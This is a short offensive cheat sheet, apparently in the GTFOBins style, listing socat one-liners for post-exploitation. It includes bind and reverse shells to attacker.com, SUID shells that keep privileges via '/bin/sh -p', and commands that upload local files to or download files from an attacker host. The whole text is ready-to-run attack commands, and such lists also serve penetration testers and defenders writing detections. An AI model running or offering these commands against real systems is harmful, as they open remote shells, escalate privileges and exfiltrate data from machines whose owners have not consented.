socat

Bind Shell

socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane

SUID override:

socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

Download

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

File Read

socat -u file:/path/to/input-file -

File Write

The `echo` command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

Reverse Shell

socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

SUID override:

socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

Shell

socat - exec:/bin/sh,pty,ctty,raw,echo=0

SUID override:

socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'

Upload

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345